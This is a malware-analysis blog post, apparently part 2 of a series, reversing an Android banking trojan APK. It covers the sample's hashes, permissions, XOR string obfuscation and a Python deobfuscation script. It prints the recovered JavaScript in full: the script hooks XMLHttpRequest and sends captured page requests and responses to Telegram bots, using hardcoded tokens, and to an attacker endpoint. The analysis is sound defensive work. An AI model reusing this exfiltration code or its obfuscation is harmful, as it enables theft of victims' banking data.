Analyzing Banking Trojan - Reversing Apk (Part 2)
Welcome Back to the Part2 of Analyzing the Banking trojan. In this part we are going to look at the main payload application that the dropper has installed on our device. As always we are going to start with the Basic Analysis by uploading apk to the virustotal for getting the overview of application’s behaviour.
Basic Analysis

The virustotal has given a detailed analysis report and categorized the threat label to be banker bot
. Let’s note all the necessary information and proceed with the static analysis of the application.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
MD5 : d2b29820705cf68cecdf260a72836184
SHA-1 : 7c223157f6e51f27048bde243b1de6cc9cbd82e1
SHA-256 : dbb0d8566ea1845719deb840396ccb42d0439d6a26aed56e202ed95db3aeb52a
File Name: payload.apk
File Size: 1.53 MB (1600455 bytes)
File type: Android | executable | mobile | android | apk
Detection Rate: As of now 19/65 security vendors flagged it as malicious
Embedded Certificates: Found potential code signing certificates used for validation
Okay, So now we have enough info for the identification of this malware. Let’s get into the static analysis.
Static Analysis
To statically analyze the application, I used jadx-gui
to extract and decompile the apk. You can use apktool or the jadx CLI version to extract the application too. Now let’s take a look the AndroidManifest.xml
which serves as a entrypoint for the analysing the application.

A key point about this app is that it can’t be launched directly by the user from the home screen. For an Android app to show up in the launcher, it must include the android.intent.category.LAUNCHER
within an
Things to note:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
Package Name:
indieba.indi.indi
User Permissions:
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
<uses-permission android:name="android.permission.RECEIVE_SMS"/>
<uses-permission android:name="android.permission.INTERNET"/>
<uses-permission android:name="android.permission.SEND_SMS"/>
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
<uses-permission android:name="android.permission.FOREGROUND_SERVICE"/>
<uses-permission android:name="android.permission.READ_SMS"/>
<uses-permission android:name="android.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS"/>
<uses-permission android:name="android.permission.FOREGROUND_SERVICE_DATA_SYNC"/>
<uses-permission android:name="android.permission.WAKE_LOCK"/>
Main activity:
android:name="indieba.indi.indi.myodyrurjpvobweyo"
The permission that is asking is very dangerous, granting the access will give the attacker basically full control over the device. The attacker can send/read/recieve messages, the permission android.permission.FOREGROUND_SERVICE
, android.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS
, android.permission.FOREGROUND_SERVICE_DATA_SYNC
allows attacker to continously run the app in the backgroud irrespective of restrictions like battery optimizations, the app will continiously send the data to the attacker.\
Now the main question is where and how the data is being sent to the attacker because there is no point of collecting this much data and not sending it anywhere ….. this sparked my intrest more to reverse enginner the application, So I looked at the main activity indieba.indi.indi.myodyrurjpvobweyo
.

Decoding the Strings
Looking at the function, strings seems to be encoded/obfuscated using some kind of algorithm….. and intresting thing to note is that these strings were following this NPStringFog.decode("<hex_string_possibly>")
pattern. The string is being decoded by the NPStringFog class, so let’s take a look a the class and try to reverse engineer it.

The decode function is performing a XOR operation on the hex encoded string with the key npmanager
which is hardcoded in the defined function. Using cyberchef I tried to decode those strings and I was successfully able to decode those strings :)

It was very tiring to manually decode those strings and analyze them using cyberchef, so I created a python script to decode that for me and simply overwrite the encoding strings with the decoded one.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import os
import re
INPUT_DIR = "extracted_apk" # Change name with the extracted apk folder name
XOR_KEY = "npmanager"
def xor_decrypt(hex_string, key):
key_bytes = key.encode()
data = bytes.fromhex(hex_string)
decrypted = bytes([b ^ key_bytes[i % len(key_bytes)] for i, b in enumerate(data)])
return decrypted.decode(errors="ignore")
def patch_files_with_decoded_strings(input_dir):
pattern = re.compile(r'NPStringFog\.decode\("([0-9a-fA-F]+)"\)')
patched_files = 0
for root, _, files in os.walk(input_dir):
for file in files:
if file.endswith(".java") or file.endswith(".smali"):
file_path = os.path.join(root, file)
with open(file_path, 'r', errors='ignore') as f:
content = f.read()
matches = pattern.findall(content)
if not matches:
continue
for hex_str in matches:
try:
decrypted = xor_decrypt(hex_str, XOR_KEY)
original = f'NPStringFog.decode("{hex_str}")'
replacement = f'"{decrypted}"'
content = content.replace(original, replacement)
except Exception as e:
print(f"[!] Failed to decrypt {hex_str}: {e}")
with open(file_path, 'w') as f:
f.write(content)
patched_files += 1
print(f"[+] Patched {patched_files} files.")
if __name__ == "__main__":
patch_files_with_decoded_strings(INPUT_DIR)
First you have to decompile the apk. You can use apktool
, jdax
or jadx-gui
to extract and decompile all those files. Then change the 4th line of the code with extracted folder name and run the script. Make sure that the script is in same directory as the folder.
You will see the output like this:

Now let’s open the folder the open and those earlier obfuscated classes in any text editor. I personally like the VSCode.

All the strings within those files are now decoded and we can analyse the application with ease. After analysing different files, I found one most intresting thing and conclude that these apk was using telegram as a C2 server.
In the myodyrurjpvobweyo
function there was a intresting JScode :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
(function fn_SzP7() {
function fn_Kn9S(str) {
return atob(str);
}
// Removed the duplicate tracking logic (e.g. seenRequests Set)
const originalOpen = XMLHttpRequest.prototype.open;
const originalSend = XMLHttpRequest.prototype.send;
XMLHttpRequest.prototype.open = function fn_L3kQ(method, url) {
this._requestMethod = method;
this._requestURL = url;
return originalOpen.apply(this, arguments);
};
XMLHttpRequest.prototype.send = function fn_M9nT(body) {
this.addEventListener("load", function () {
const requestData = {
current_url: window.location.href,
request_method: this._requestMethod,
// Exclude request_url from processing
request_body: body ? body.toString() : null,
response_text: this.responseText || null
};
// Always send the payload without duplicate checks
const tgBots = [
{ botToken: "7579076301:AAFG3AaQfhT-O1jlnw3w_Zx3cOryBfkmemY", chatId: "-1002480016657" },
{ botToken: "7672911013:AAEoFgNBMK6eekOgIslXjiJwC11Hkp8A9yA", chatId: "-1002480016657" },
{ botToken: "8112210050:AAHE_kZWF1doFTPU2rVR2y3CuVPbg-63Z1I", chatId: "7694382140" },
{ botToken: "8112210050:AAHE_kZWF1doFTPU2rVR2y3CuVPbg-63Z1I", chatId: "-1002480016657" }
];
const randomBot = tgBots[Math.floor(Math.random() * tgBots.length)];
const telegramApiUrl = fn_Kn9S("aHR0cHM6Ly9hcGkudGVsZWdyYW0ub3JnL2JvdA==") +
randomBot.botToken +
fn_Kn9S("L3NlbmRNZXNzYWdl");
const telegramPayload = {
chat_id: randomBot.chatId,
text: `📡 *XHR Request Detected!*\n\n` +
`🌍 *Current URL:* ${requestData.current_url}\n` +
`🔗 *Request URL:* ${this._requestURL}\n` +
`📩 *Method:* ${requestData.request_method}\n` +
`📤 *Request Body:* ${requestData.request_body || "N/A"}\n` +
`📥 *Response:* ${requestData.response_text || "N/A"}`,
parse_mode: "Markdown"
};
function fn_X9mA(attempt = 1) {
fetch(telegramApiUrl, {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify(telegramPayload)
})
.then(function (response) {
if (!response.ok && attempt < 3) {
console.warn(`Retrying Telegram... Attempt ${attempt + 1}`);
setTimeout(function () { fn_X9mA(attempt + 1); }, 2000);
}
})
.catch(function (error) {
if (attempt < 3) {
console.warn(`Retrying Telegram... Attempt ${attempt + 1}`);
setTimeout(function () { fn_X9mA(attempt + 1); }, 2000);
} else {
console.error("Failed to send Telegram request after 3 attempts", error);
}
});
}
fn_X9mA();
const extraApiPayload = {
sender_id: "FDC-BVC",
message: JSON.stringify(telegramPayload),
timestamp: new Date().toISOString()
};
const extraApiUrl = fn_Kn9S("aHR0cHM6Ly9zdWJtaXQub3R0Z29vZHMuc2hvcC9wb3N0LnBocA==");
fetch(extraApiUrl, {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify(extraApiPayload)
})
.then(function (response) {
if (!response.ok) {
console.error("Extra API responded with an error", response.status);
}
})
.catch(function (error) {
console.error("Error sending data to extra API", error);
});
});
return originalSend.apply(this, arguments);
};
})();
This JS function shows that the application is collecting the data and sending it to the attacker via telegram bots. We can see the telegram bot tokens and the chat ids, that the application is using to sending the data. One more thing to note is this base64 encoded string aHR0cHM6Ly9zdWJtaXQub3R0Z29vZHMuc2hvcC9wb3N0LnBocA==
which results in https[://]submit.ottgoods.shop/post.php
. So this is the endpoint that it is connecting too. Unfortunately it was not reachable… otherwise we could have done further analysis. Still we have enough information to conclude the intent of this malware.